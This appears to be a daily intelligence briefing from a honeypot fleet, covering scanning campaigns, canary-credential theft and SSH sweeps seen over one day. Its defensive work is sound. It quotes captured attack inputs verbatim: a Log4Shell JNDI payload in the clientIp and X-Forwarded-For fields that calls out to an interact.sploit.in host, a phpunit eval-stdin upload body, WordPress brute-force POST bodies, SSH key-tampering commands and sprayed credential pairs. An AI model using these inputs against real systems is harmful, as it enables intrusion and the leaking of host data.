Switch to plain language briefing

FLUX FLEET — INTEL BRIEFING №60

Period: 2026-10-22 07:32 – 2026-10-23 07:33 UTC (24h, day 58 of operations)
Sources: 8 honeypot nodes (frantech-ts also runs non-flux ssh/telnet honeypots whose condensed feed lands in /data/hp-logs and is NOT part of this report) — canary-farm-1 (EU-hot), ai-devbox-1 (EU), control-1 (differential baseline), ru-edge-1 (Russia), lauterbourg-01-ts (Kiteworks TLS profile), netcup-ts + sponge-01-ts + frantech-ts (deception-only, no canaries)
Network layer: Arkime on spark (the fleet's own pcap sensors) — step 3c, the only view of sweeps that never request a path
Confidence: High (direct observation, 58-day baseline, mint and use sides verified against Tracebit alert logs; hostile bodies quoted verbatim where captured)

BLUF

ru-edge-1 absorbed the fleet's largest single-IP crawl on record: 192.153.76.57 (Amazon US) sent 69,601 events against 69,174 paths in 4 h 16 m. The wordlist paired a 38,582-hit phpMyAdmin login census with roughly 6,971 Exchange probes; the node's window total of 75,207 events runs 6,116 percent over baseline. A second Amazon-US crew on the same node — 64.52.111.255/.253/.248 — ran 2,056 paths with 145 POSTs and planted a Log4Shell JNDI string in the clientIp and X-Forwarded-For identity fields. Both crews minted credentials — 3 between them — and none reached AWS: the second consecutive zero-use window, 33 credentials to 19 collectors. ADMINER-SWARM went fleet-wide, REGISTRY-HUNT ran fleet-wide again, and LIBREDTAIL's honest-UA arm scaled to six synchronized runners on control-1. frantech-ts fell 93 percent: no MEGA-DICTIONARY replay this window.

Key Judgements

  1. Two collection arms staged on ru-edge-1 within hours of each other, and both took credentials. 192.153.76.57 crawled 69,174 paths and minted 1. The 64.52.111.x trio ran 2,056 paths, POSTed 145 times, and minted 2. Same ASN, same day, same target theme; different /24s and tooling. A shared operator is possible and unproven. (High confidence on the events — both journeys captured in full; Moderate on any linkage.)
  2. Identity-field injection now has two observed classes, and the XFF mismatch counter is the only tripwire that catches both. The JNDI row carried ${jndi:${lower:d}n${lower:s}://${env:hostName}.dbctli1aobf8eu4av71gxdyzz5frsjccq.interact.sploit.in} in clientIp and X-Forwarded-For on a vSphere SSO path. A vulnerable parser would leak its hostname to the interact.sploit.in listener over DNS. The counter's window value of 2 is this row plus №59's telnet2.sh row, which fell inside this window's overlap segment — the netcup event did not repeat. (High confidence on the captures; the DNS callback is unobservable in this pipeline.)
  3. Coverage campaigns beat depth campaigns this cycle. The ADMINER-SWARM pool spread to 6-7 sensors at 34-96 events per IP. REGISTRY-HUNT's walk appears as three per-node signatures — the №59 result-tag quirk, one campaign. TOKEN-CRAWLER ran 8-sensor passes. Per-IP volume stayed low everywhere. (High confidence — crossnode and cluster tables.)
  4. Stolen inventory keeps aging with zero consumption. Hoards: 213.209.159.175 holds 36 mints in 6 days (8 in-window), 45.148.10.171 holds 26/6d with no in-window mint — its 27-window streak is in doubt — and 34.58.160.181's 41 credentials sit unused at +96 h. Two consecutive zero-use windows have no precedent since tracking began. Either consumption moved outside the 6-day pull window, or the buyers paused. (Moderate — the pull window cannot see use after cutoff.)

Active Campaigns (day 58 status)

EXCHANGE-DICT (single-IP phpMyAdmin + Exchange mega-dictionary) ⚠ NEW (Hostile, active)

  • Actors: 192.153.76.57 (Amazon.com, Inc. US). One IP, one node (ru-edge-1), first-ever appearance, not blocklisted. Spot total 69,615 events on the aligned window (digest cell 69,601).
  • TTPs: 69,601 GETs / 69,174 paths in 4 h 16 m (17:13–21:29 UTC) — near-zero path reuse, 0 POSTs. Result mix: phpmyadmin-login 38,582, not-handled 22,750, exchange-autodiscover-probe 2,310, exchange-ecp-login 1,546, exchange-ews-probe 1,432, exchange-owa-landing 1,073, exchange-oab-probe 610, webshell-probe 210, backup-archive 141, fake-git 88, fake-svn-error 69, etc-passwd 32. One forged UA (Chrome/96, 69,539 events) plus 64 Chrome/155 legs. One mint during the run.
  • Assessment: a wordlist inventory sweep an order of magnitude past the old single-IP record (ZKILLU's 14,787). The fleet answered with decoys and tarpits; the operator left with 1 credential. Watch a second IP or node, reuse of the wordlist, and AWS-side use of the mint.

JNDI-FIELD-INJECT (census + POSTs + identity-field JNDI probe) ⚠ NEW (Hostile, active)

  • Actors: 64.52.111.255, .253, .248 (Amazon US, same /24, ru-edge-1 only). 255: 3,090 events / 2,056 paths over 3 h 52 m (13:43–17:35 UTC), forged Chrome/40 (2,959) plus Chrome/127 on the 138 POST legs, 2 mints (openapi-spec-json-issued ×6 rows). 253: 1,588 events / 503 paths in 10 minutes, 7 POSTs. 248: 12 light events.
  • TTPs: Exchange/vSphere/AI-API census — mlflow, geoserver, Citrix sdwan, XWiki, ColdFusion ckeditor, ofbiz, gradio — plus 145 POSTs whose bodies were not captured, and a Log4Shell payload in the identity fields: clientIp and X-Forwarded-For both carry ${jndi:${lower:d}n${lower:s}://${env:hostName}.dbctli1aobf8eu4av71gxdyzz5frsjccq.interact.sploit.in} on GET /websso/SAML2/SSO/vsphere.local at 13:44:15 UTC, socket peer 64.52.111.255.
  • Assessment: the operator wants execution or hostname confirmation, and files alone do not explain the POST battery. It names a DNS side channel this pipeline cannot observe. The XFF mismatch counter caught it. Watch interact.sploit.in telemetry on any fleet node, a second /24, AWS use of the 2 mints, and one captured POST body.

ADMINER-SWARM (distributed adminer/phpMyAdmin census + credential POSTs) ⟳ FLEET-WIDE (Hostile, active)

  • Actors: 40-plus of the 173.239.214.x pool plus the 45.131.195.x trio (.68/.221/.225) now hit 6-7 sensors each at 34-96 events per IP (crossnode table). 5 in-window mints: 173.239.214.88/.94/.110/.114 (canary-farm-1), .120 (ai-devbox-1).
  • TTPs: the login-surface enum spread across every node, including lauterbourg-01-ts's phpmyadmin surface — the node's phpmyadmin-login 9.2× spike (33 events) is pool IPs at 2-3 each. Credential POSTs stayed below the spike threshold this window; the pool diluted across sensors.
  • Assessment: same playbook, wider coverage. The two blocks keep moving together; the one-crew-versus-two-blocks question stays open.

REGISTRY-HUNT / LeakIX (l9scan template) ⟳ FLEET-WIDE — THREE SIGNATURES, ONE WALK (Borderline, active)

LIBREDTAIL-KIT (phpunit/php-cgi RCE chain) ⟳ — HONEST ARM AT SIX SYNCHRONIZED RUNNERS (Hostile, active)

  • Actors: six honest-UA runners on control-1 — 169.239.75.138, 192.6.161.135, 107.150.123.48, 104.175.149.146, 160.250.132.238, 169.58.231.82 — each 49 events / 44 paths / 7 families under libredtail-http, spaced across 08:15–03:01 UTC. Forge-UA cluster 7e61a9500d8b: 14 IPs / 686 events / 6 sensors.
  • TTPs: unchanged chain — cgi-traversal-rce-command → cmd-injection-apache-cgi-shell → cmd-injection-php-cgi-rce plus the phpunit-eval-stdin battery and a docker-daemon probe per runner. Owns control-1's phpunit-eval-stdin 259 (6.6×) and cmd-injection-php-cgi-rce 35 (6.3×) spikes (222 and 30 of each from the six). Dropper body uncaptured a twelfth cycle.
  • Assessment: the honest arm moved from two same-size runners (№59) to six on one node — scheduled infrastructure, not opportunistic scanning. A captured shell_exec(base64_decode(...)) body remains the escalation signal.

CREDSWEEP (exhaustive .env-variant + credential-file census) ⟳ RETURNED — NEW UA ROTATION (Hostile, active)

  • Actors: 45.148.10.238 (Techoff Srv Limited NL, ipsum:3+firehol2) — the №14 operator, back after a long absence. netcup-ts 700 events / 338 paths in 2 minutes (21:25–21:27 UTC); control-1 652 events / 325 paths in 3 minutes (06:42–06:45 UTC 10-23) with 1 mint (/.env issued).
  • TTPs: the census-plus-mint shape under a six-leg modern UA rotation — iPhone Safari 18.2, macOS Safari 18.2, Firefox/134 (two platforms), Chrome/131 (two platforms) at roughly 140 events per leg. The Mozlila/5.0 typo forgery from №13–№14 did not appear.
  • Assessment: the block keeps its two-node, minutes-long burst profile and retires an old fingerprint. A second mint run re-promotes it to standing.

GIT-VAULT (git-internals walk + credential census) ⟳ — NEW TOOL: gitdump/1.0 (Hostile, active)

  • Actors: 195.178.110.68 (Techoff Srv BG block; /24 of the standing .137/.159/.22 walkers). ai-devbox-1 at 13:03 UTC and canary-farm-1 at 15:06 UTC, 29 events / 28 paths each, ~5-second runs.
  • TTPs: git-internals walk under honest self-labeled gitdump/1.0: /.git/HEAD, config, packed-refs, refs/heads/{main,master,develop,dev,trunk}, FETCH_HEAD, index, logs/HEAD, shallow, and real object hashes (/.git/objects/40/d571…, 95/82b3…, 53/1c12…). The farm run produced the node's 8 first-seen /.git/objects/<2>/<38> paths. 0 mints.
  • Assessment: a third git-walk tool class after GIT-VAULT's git/2.x and MEVSPACE's env-refs; the real-hash fetches probe whether decoys serve consistent objects. Watch a second IP.

ATLASSIAN-REST-PROBE (Confluence/Jira REST + archive traversal) ⟳ — SEVEN SINGLES (Hostile, quiet)

CREDENTIAL-DRAIN (mint → use pipeline) ⟳ — SECOND ZERO-USE WINDOW (Hostile, active)

  • Actors: mint side 33 Tracebit credentials to 19 collector IPs (39 digest issued rows). Use side: none — 0 AWS alert events.
  • TTPs: mint failures 45×400 (the burst-pacing class) plus a NEW class — 2 tracebit-error rows on ai-devbox-1 with error: coalesced issuance returned no credential and no HTTP status; the upstream returned nothing. New collectors this window: 159.89.192.15, 45.65.112.21, 138.68.144.227, and 45.148.10.125, which minted on all four canary sensors in one 05:44 UTC pass.
  • Assessment: the inventory ages untouched (Key Judgement 4). 165.227.102.187's 2 ru-edge issued rows produced no Tracebit credential in this pull — the №20 mint-label quirk; count credentials from Tracebit labels.

Light watchers this window

  • 176.65.148.23 (Pfcloud UG NL, firehol2) — 9-hour slow git-object walk on canary-farm-1: 96 /.git/objects/<2>/<38> fetches, 103 fake-git results, 261 events (22:28–07:31 UTC), plus light legs on 3 more sensors. New behavior for the block; watch.
  • 195.178.110.137 (Techoff Srv BG) — the standing daily walker turned mini-census: 392 events / 391 paths on farm in 1 minute (13:27 UTC), 148 backup-archive + 30 sql-dump results. Owns farm's 18.4× and 6.0× spikes.
  • 85.11.167.243 — php2shell-109618 — self-labeled phpunit uploader, 4 sensors in 52 minutes (17:05–17:57 UTC): POST /index.php (tarpit 302), then multipart POSTs to /lib/phpunit/phpunit/Util/PHP/eval-stdin.php with body --B7kQpoc618--… name="PHPSESSID" … a1b2c3d4e5f6a7b8c9d0e1f2a3 … name="PHP_SESSION_UPLOAD_PROGRESS" … x — the phpunit CVE-2017-9841 upload shape; the decoy answered 200. New tool; promote on a second window.
  • 93.152.209.6 (Omniline BG) — second window: another 40-family Googlebot-forgery census on farm, 1 mint. Promotion candidate — 2 windows, 2 mints.
  • 93.152.221.226 (TechTies DE) — new sibling of .221.96: 30-family .env-variant census on aidev; its /.env mint attempt returned the new tracebit-error class.
  • WP-LOGIN-BRUTE farm leg — 48 wp-login-credentials POSTs (48.0×), one per residential IP under rotating forged Chrome/149-152, bodies log=editor&pwd=editor… redirect_to=https://sso.rightabouteverything.show/wp-admin/&testcookie=1 with user=password pairs (editor/editor, admin/admin, webmaster/webmaster, editor/123456).
  • Honest-brand single walkers — Authorized-Audit/1.0: 18.185.2.151 (AWS eu-central-1) 1-2 events on farm/lauterbourg/sponge, 204.168.138.228 netcup; phase-scan/1.0: 23.252.112.35, 1 event each on lauterbourg/sponge. Shallow; watch.
  • 45.148.10.125 — CREDSWEEP-family single-pass collector: 1 mint on each of the four canary sensors in one 05:44 UTC pass, 4/6d.
  • 45.156.128.156 — the WP-ENUM №16 block's first frantech appearance: node top talker at 54 events.

Standing actors (persistence check)

  • 213.209.159.175 (Feo Prest SRL DE, ipsum:3+firehol2) — minting in every recent window: 8 in-window on control-1, 36/6d, 914 events / 58 families this window with a /.env issued. The fleet's most persistent census collector.
  • 213.209.159.154 (Feo Prest) — 2 in-window mints on farm, 10/6d.
  • Bochum softsec crawler (185.73.23.161/.162/.168) — eleventh window, benign-listed: 6,028 events combined on netcup+sponge (3,878 / 1,540 / 610), 0 POSTs, 0 mints.
  • TOKEN-CRAWLER pool 45.198.224.x — .124 and .125 touched all 8 sensors again (43 and 84 events), 0 mints.
  • Benign fixed-cadence probers — 89.248.172.33 (348 events, 7 sensors), 93.174.93.12 (324, 6), Censys 71.6.155.70 (8), visionheight 18.116.101.220 (5), osint-scanner/1.0 45.139.104.34/.35, CyberConvoyScout 45.77.61.56, 195.182.16.23, 34.140.3.155 (6).
  • Pfcloud 204.76.203.7 — light 4-sensor walk (5 events); the MALWARE-DICT loop (.18) stayed idle a second window.

Absent or paused

WEBSIPHON (first absence after five windows — standing-paused), MEGA-DICTIONARY (first miss; frantech −93 percent), KEYDROP-SCANS, CLAUDE-CRED-HUNT, SES-QUOTA-PROBE, AI-EXEC-HUNT (fourth window), METADATA-HUNT named runners, CVENGINE-KIT, CONFIGBUNDLE-KIT (the №58 quad now falls outside the window), CENSUS-284, WP-FORM-BRUTE, BUCKLOG-KIT, GOWEB-PENTEST, ADMINER's 185.198.240.x block, 37.60.226.187 (no in-window mint; 17/6d stands), 45.148.10.171 (no in-window mint — 27-window streak at risk), XMLRPC-BRUTE, NIGHTAGENT, OMEGA-SWEEP, SONICWALL-VPN-PROBE, ENVRC-SWEEP, KEYHUNT, SI-CENSUS, PROTON-CENSUS, LLM-ENDPOINT-PROBE, AKAMAI-VHOST-SCAN, KITEWORKS-CRAWL.

Network-layer recon (Arkime) — 2026-10-22 07:32:00 → 2026-10-23 07:33:27 UTC

Fingerprint field ssh.hassh, destination port 22 · 126,299 inbound sessions · fleet IPs: ai-devbox-1 217.15.163.226, canary-farm-1 109.123.246.142, control-1 38.54.2.209, frantech-ts 209.141.62.110, lauterbourg-01-ts 89.116.25.211, netcup-ts 159.195.21.150, ru-edge-1 130.94.89.46, sponge-01-ts 89.167.72.144

Session tags: honeypot 84,021, bahrain-sponge-01-ts 39,301, sensor:bahrain-sponge-01-ts 39,301, contabo-sponge-02-ts 19,538, proxy 19,538, sensor:contabo-sponge-02-ts 19,538, sensor:lauterbourg-01-ts 23,118

client fingerprint sessions src IPs networks countries ports first → last shape
f555226df1963d1d3c09daf865abdc9a 6,947 366 198 59 22 2026-10-22 07:32 → 2026-10-23 07:22 dispersed sweep (one port, many networks)
0a07365cc01fa9fc82608ba4019af499 23,671 43 9 10 22 2026-10-22 07:32 → 2026-10-23 07:20 single-source
16443846184eafde36765c9bab2f4397 13,631 35 22 19 22 2026-10-22 07:32 → 2026-10-23 07:22 single-source
dd9bcf093c355da7000132131cb36fd0 29 29 1 1 22 2026-10-22 10:15 → 2026-10-23 04:56 single-source
03a80b21afa810682a776a7d42e5e6fb 583 27 21 15 22 2026-10-22 07:41 → 2026-10-23 07:19 single-source
084386fa7ae5039bcf6f07298a05a227 27 25 5 5 22 2026-10-22 08:16 → 2026-10-23 07:04 single-source
a591c4ddccc960a2da8099958270fc92 167 23 6 7 22 2026-10-22 07:58 → 2026-10-23 07:16 single-source
e54ef3ec27fe1fea7ab64d3fa05359fd 31 21 6 3 22 2026-10-22 13:20 → 2026-10-23 07:12 single-source

Flagged sweeps (1) — one fingerprint, many networks, single port, no authentication attempted:

  • f555226df1963d1d3c09daf865abdc9a — client banner ssh-2.0-libssh_0.9.6, 6,947 sessions from 366 source IPs across 198 networks in 59 countries, port 22, avg 4,899 B/session. Networks: AS8075 Microsoft Corporation, AS135377 UCLOUD INFORMATION TECHNOLOGY HK LIMITED, AS132203 Tencent Building, Kejizhongyi Avenue, AS16276 OVH SAS, AS4766 Korea Telecom. Busiest sources: 112.217.188.122, 188.17.148.221, 200.105.172.184, 103.165.206.238, 85.198.19.217. Last 7 days: 10-17 257 IPs, 10-18 324 IPs, 10-19 418 IPs, 10-20 402 IPs, 10-21 327 IPs, 10-22 314 IPs, 10-23 141 IPs.

Thresholds: dispersed = ≥50 source IPs and ≥20 networks on one port; mass = ≥200 source IPs. Fingerprint identity, never source IP: sweep operators rotate addresses and keep the tool.

Recon reading. LIBSSH-MASSSWEEP grew again: 366 source IPs / 198 networks (+48 / +24 day-over-day), 6,947 sessions; the 7-day series shows 10-20 402 → 10-21 327 → 10-22 314 → 10-23 141 (partial day). GO-SPRAY-SWEEP missed: absent from the table after №59's re-cross, so its on/off cadence continues. GO-SSH-SWEEP stayed single-source: 23,671 sessions (−6,644) from 43 IPs (+5) on 9 networks — volume down, pool steady. GO-SCATTER-SWEEP: 13,631 sessions (+1,354) from 35 IPs on 22 networks, still single-source. Unflagged new fingerprint e54ef3ec… (31 sessions / 21 IPs / 6 networks) sits below the dispersed threshold; watch it. Session tags drifted again (contabo-sponge-02-ts + proxy, 19,538 sessions) — the tag-repair item stays open. recon-names.tsv is unchanged; no new fingerprints were flagged.

Canary credentials

Summary

No canary credentials were used in AWS during the window. Fleet sensors minted 33 credentials to 19 collector IPs; none reached AWS.

Mint → use funnel

Metric Count
Credentials minted (fleet, window) 33
Distinct collector IPs 19
Credentials used in AWS (alerts) 0
Credentials stolen, no observed AWS use in window 33

Per collector (evidence for attribution prose — join each IP against ip-journey and the campaign registry):

Theft IP Sensor Mints (window) Creds used in AWS Use IPs Operations Mint history (6d)
213.209.159.175 control-1 8 0 0 — 36 mints since 2026-10-16 09:07
143.244.165.105 ru-edge-1 3 0 0 — 6 mints since 2026-10-21 18:02
213.209.159.154 canary-farm-1 2 0 0 — 10 mints since 2026-10-16 20:49
64.52.111.255 ru-edge-1 2 0 0 — 2 mints since 2026-10-22 09:45
138.68.144.227 canary-farm-1 1 0 0 — 2 mints since 2026-10-18 20:21
159.89.192.15 canary-farm-1 1 0 0 — 1 mints since 2026-10-22 14:08
167.172.232.142 canary-farm-1 1 0 0 — 2 mints since 2026-10-17 20:23
173.239.214.110 canary-farm-1 1 0 0 — 2 mints since 2026-10-21 07:29
173.239.214.114 canary-farm-1 1 0 0 — 1 mints since 2026-10-22 12:48
173.239.214.120 ai-devbox-1 1 0 0 — 1 mints since 2026-10-22 12:49
173.239.214.88 ai-devbox-1 1 0 0 — 1 mints since 2026-10-22 12:49
173.239.214.94 canary-farm-1 1 0 0 — 1 mints since 2026-10-22 12:48
192.153.76.57 ru-edge-1 1 0 0 — 1 mints since 2026-10-22 17:25
206.189.19.19 canary-farm-1 1 0 0 — 1 mints since 2026-10-22 19:02
206.81.24.74 ai-devbox-1 1 0 0 — 4 mints since 2026-10-16 20:03
209.38.208.202 control-1 1 0 0 — 4 mints since 2026-10-16 20:15
45.148.10.125 ai-devbox-1 1 0 0 — 4 mints since 2026-10-23 01:44
45.148.10.125 canary-farm-1 1 0 0 — 4 mints since 2026-10-23 01:44
45.148.10.125 control-1 1 0 0 — 4 mints since 2026-10-23 01:44
45.148.10.125 ru-edge-1 1 0 0 — 4 mints since 2026-10-23 01:44
45.148.10.238 control-1 1 0 0 — 1 mints since 2026-10-23 02:42
45.65.112.21 canary-farm-1 1 0 0 — 1 mints since 2026-10-22 15:34

Persistent collectors with no observed AWS use (candidates for hoard/resale/untraced use — check prior briefings for named campaigns):

  • 34.58.160.181: 41 mints, 2026-10-19 16:03 → 2026-10-19 16:03
  • 213.209.159.175: 36 mints, 2026-10-16 09:07 → 2026-10-23 03:30
  • 45.148.10.171: 26 mints, 2026-10-16 21:59 → 2026-10-22 00:53
  • 37.60.226.187: 17 mints, 2026-10-20 02:15 → 2026-10-21 21:45
  • 213.209.159.154: 10 mints, 2026-10-16 20:49 → 2026-10-23 02:40
  • 80.94.92.126: 9 mints, 2026-10-17 10:09 → 2026-10-20 10:36
  • 140.245.97.208: 7 mints, 2026-10-16 16:38 → 2026-10-21 05:57
  • 45.138.12.51: 7 mints, 2026-10-16 14:54 → 2026-10-22 07:02
  • 80.94.92.65: 7 mints, 2026-10-16 07:17 → 2026-10-21 09:39
  • 143.244.165.105: 6 mints, 2026-10-21 18:02 → 2026-10-23 03:21
  • 217.60.198.111: 6 mints, 2026-10-21 03:45 → 2026-10-21 03:54
  • 23.234.78.109: 6 mints, 2026-10-17 20:53 → 2026-10-20 14:00
  • 104.251.180.112: 4 mints, 2026-10-17 14:48 → 2026-10-21 12:15
  • 185.177.72.64: 4 mints, 2026-10-20 01:57 → 2026-10-20 08:44
  • 206.81.24.74: 4 mints, 2026-10-16 20:03 → 2026-10-22 21:01
  • 209.38.208.202: 4 mints, 2026-10-16 20:15 → 2026-10-22 19:21
  • 45.148.10.125: 4 mints, 2026-10-23 01:44 → 2026-10-23 04:39
  • 64.89.163.14: 4 mints, 2026-10-17 22:50 → 2026-10-21 10:53
  • 104.64.127.170: 3 mints, 2026-10-17 07:08 → 2026-10-17 11:29
  • 137.23.38.53: 3 mints, 2026-10-17 20:22 → 2026-10-19 01:31
  • 150.228.105.248: 3 mints, 2026-10-20 17:58 → 2026-10-20 18:02
  • 157.230.19.140: 3 mints, 2026-10-17 19:58 → 2026-10-19 20:25
  • 157.245.105.107: 3 mints, 2026-10-16 18:47 → 2026-10-20 20:23
  • 165.227.102.187: 3 mints, 2026-10-21 16:37 → 2026-10-22 07:27
  • 185.177.72.17: 3 mints, 2026-10-18 22:42 → 2026-10-18 22:42
  • 206.81.24.227: 3 mints, 2026-10-16 19:01 → 2026-10-18 20:38
  • 64.227.70.2: 3 mints, 2026-10-17 19:57 → 2026-10-18 20:10
  • 64.23.218.208: 3 mints, 2026-10-17 03:52 → 2026-10-17 20:42
  • 72.167.41.202: 3 mints, 2026-10-21 17:47 → 2026-10-21 18:25
  • 85.155.14.16: 3 mints, 2026-10-18 03:19 → 2026-10-20 17:27
  • 92.38.172.10: 3 mints, 2026-10-16 23:16 → 2026-10-17 07:55
  • 93.152.221.96: 3 mints, 2026-10-21 23:57 → 2026-10-22 04:22

Attribution notes. The window's collectors are census-side, not use-side: the biggest named takes went to the ADMINER-SWARM pool (5), REGISTRY-HUNT runners (4), and the two new ru-edge campaigns (3 combined). The two prior-window use actors, 156.225.26.90 and the SES-QUOTA-PROBE chain, produced no AWS events this window. The silent zero is clean at the pull time; Tracebit remains the only witness after the cutoff.

Fleet Observations

Canary economics. 39 digest issued rows across the 4 canary sensors (control-1 13, canary-farm-1 12, ru-edge-1 9, ai-devbox-1 5) — 33 Tracebit credentials to 19 collectors after dedupe, 0 AWS use. Mint failures: 45×400 Bad Request (farm 14, control 14, ru-edge 12, aidev 6 including one vite-fs variant) — the burst-pacing class — plus the NEW tracebit-error class on aidev (2 rows; upstream returned no credential, no HTTP status). No 401s. All mint labels "aws". All-time issued-row counter: 2,814 (visuals run).

Attribution and TLS posture. XFF counters: any-XFF 1,618 / multi-entry 0 / present-but-ignored 167 / single-entry mismatch 2. The 2 = №59's netcup telnet2.sh row (08:07:31 UTC, inside this window's overlap segment) plus the new JNDI row (ru-edge 13:44:15 UTC, socket peer 64.52.111.255). TLS split: ru-edge 75,207 events all-HTTP; lauterbourg-01-ts 449 HTTPS / 1,432 HTTP; ai-devbox-1 552 / 1,263; canary-farm-1 448 / 2,285. Top Host headers stayed the nodes' own IPs plus the two vhosts (inference.fapthropic.com 817, sso.rightabouteverything.show 732).

control-1 discovery velocity. Day 40 (first event 2026-09-12 07:59 UTC): 2,929 events from 193 unique IPs — a second consecutive unique-IP record (178 in №59). The driver is arrival, not discovery: the ADMINER-SWARM fleet-wide pass, the six LIBREDTAIL runners, and the REGISTRY-HUNT control leg landed together while event volume stayed mid-band. The ramp still shows no discovery-shaped day.

Volume moves and causes. ru-edge-1 +6,116 percent (75,207): EXCHANGE-DICT 69,601 + the JNDI trio ~4,690 + the REGISTRY-HUNT leg. canary-farm-1 +13 percent (2,733): 195.178.110.137's mini-census (392), the swarm pool, 176.65.148.23's git walk (261), WP-LOGIN-BRUTE's 48 POSTs. lauterbourg-01-ts +39 percent (1,881): the swarm pool's fleet-wide arrival, the ATLASSIAN cluster (280), and 137.23.38.53's 320-event return on lauterbourg+sponge. sponge-01-ts −44 percent (3,590): Bochum dropped to a combined 2,777 (from 5,691) and WebSiphon stayed away. control-1 −17 percent (2,929): №59's census arrivals did not repeat. netcup-ts −10 percent (5,672): Bochum 3,251 plus the CREDSWEEP burst; GOWEB-PENTEST absent. frantech-ts −93 percent (1,081): no MEGA-DICTIONARY replay — the node's top talker fell to 54 events. ai-devbox-1 −7 percent (1,815).

Result-tag spike attribution. Every spike has a cause. ru-edge-1: phpmyadmin-login 38,597 (2375×), not-handled 25,154 (97.4×), webshell-probe 241 (120.5×), the six exchange-* spikes, etc-passwd, fake-svn-error, rails-database-yml, and backup-archive 141 — all EXCHANGE-DICT. ru-edge fake-git 240 (3.2×) = EXCHANGE-DICT (88) + REGISTRY-HUNT + the JNDI trio. control-1: phpunit-eval-stdin 259 (6.6×) and cmd-injection-php-cgi-rce 35 (6.3×) = the six LIBREDTAIL honest runners (222 and 30). Fleet-wide docker-registry-manifest/-tags 45 or 25 each (3.0-3.3×) = REGISTRY-HUNT's docker stage. farm backup-archive 150 (18.4×) = 195.178.110.137 (148); sql-dump 32 (6.0×) = .137 (30) + 159.89.192.15 (2); wp-login-credentials 48 (48×) = the distributed one-POST-per-IP brute. lauterbourg phpmyadmin-login 33 (9.2×) = the swarm pool. netcup webshell-sweep-observed 21 (3.5×) = the CREDSWEEP .238 leg.

Digest quirks. The campaign table split REGISTRY-HUNT into three per-node signatures — the №59 quirk, reaffirmed; cross-check signature pairs before counting separate campaigns. NEW: tracebit-error result rows — upstream mint attempts that return no credential without an HTTP status; count them as failures beside tracebit-http-error. First-seen timestamps again cluster at sync arrival (03:15–03:31) — inventories, not timelines. The fleet-24h histogram keeps EDT-labeled hours under the hour_utc header. Spot totals run above digest cells on the aligned window (ru-edge 75,673 vs 75,207). The digest's talker table prints local (EDT) clock times.

Fleet-side changes this cycle. flux-visuals.py CHAINS: EXCHANGE-DICT and JNDI-FIELD-INJECT added; WEBSIPHON → idle; ADMINER-SWARM, REGISTRY-HUNT, GIT-VAULT, and CREDENTIAL-DRAIN notes updated. TALKER_CAMPAIGNS gained 11 entries (the two new campaigns, the CREDSWEEP return, gitdump, php2shell, the Pfcloud walker, and single-mint collectors). recon-names.tsv unchanged — no new flagged fingerprints. Visuals written once: flux-fleet-visuals-2026-10-23.html (4.77 MB).

SSH/telnet honeypot (frantech-ts — single sensor, not fleet-wide)

Funnel: 363 sources sent credentials → 253 got a shell (70 percent) → 190 ran a command (75 percent of shell-getters, 52 percent of sources). Event level: 30,940 credential attempts (3.4× the prior window) → 6,882 accepted logins → 10,086 commands (147 percent of accepted logins). Telnet (commodity IoT botnets): 690 attempts.

New commands: 0 of 43 distinct. The recurring set moved in volume: 103.241.232.99 ran echo -e "\x6F\x6B" 3,000 times — one operator's loop marker and the largest single-command volume on record for this box. The uname -s -v -n -r -m + uname -m | awk survey pair held at 1,932 events each from 109.160.32.107 and 2 siblings (the GO-SSH-SWEEP source range). The .ssh replant pair (cd ~; chattr -ia .ssh; lockr -ia .ssh at 643 events / 169 IPs; the key-replace chain at 554 / 151) continues. The nvidia-smi GPU survey ran 190 events from 3 IPs led by 179.43.153.2.

Credential concentration: 24,462 distinct pairs offered (up from 3,577), 0 new. The fixed-pair sprayer family scaled up: 345gs5662d34/345gs5662d34 at 625 attempts, root/3245gs5662d34 at 383, with admin/ubuntu/user/test variants behind.

Gaps / Next Collection

  1. EXCHANGE-DICT follow-through. A second IP or node, reuse of the 69k wordlist, and Tracebit alerts on the mint.
  2. JNDI-FIELD-INJECT. Any interact.sploit.in DNS telemetry; capture one of the 145 POST bodies; test whether .253's 10-minute run shares .255's tooling.
  3. The zero-use streak. Pull Tracebit history past the 6-day window for 34.58.160.181's 41 (+96 h), 45.148.10.171's 26/6d, and 213.209.159.175's 36/6d. Determine whether 45.148.10.171's 27-window minting streak broke, or the mint fell outside the pull window.
  4. CREDSWEEP's return. 45.148.10.238 now runs a modern UA rotation — a second mint run re-promotes it to standing.
  5. php2shell-109618. A second window, or a POST that returns command output instead of the decoy.
  6. LIBREDTAIL's honest arm. Whether the six-runner control formation repeats, and on which node.
  7. Arkime tag drift. contabo-sponge-02-ts / proxy labels — an ops-repo fix, not a briefing action.

Digest: /data/flux-logs/reports/flux-digest-2026-10-23.md
Recon digest: /data/flux-logs/reports/flux-recon-digest-2026-10-23.md
Visuals: /data/flux-logs/reports/flux-fleet-visuals-2026-10-23.html
Plain language: /data/flux-logs/reports/flux-fleet-intel-briefing-plain-2026-10-23.md

Watch next cycle: (1) EXCHANGE-DICT and JNDI-FIELD-INJECT on ru-edge-1 — a second operator IP, AWS use of their 3 combined mints, or interact.sploit.in callback telemetry; (2) the zero-use streak — a third window, or a use-side burst, settles whether consumption paused or moved off-window; (3) ADMINER-SWARM's fleet-wide pass and CREDSWEEP's return — swarm use-side alerts and 45.148.10.238's next mint run.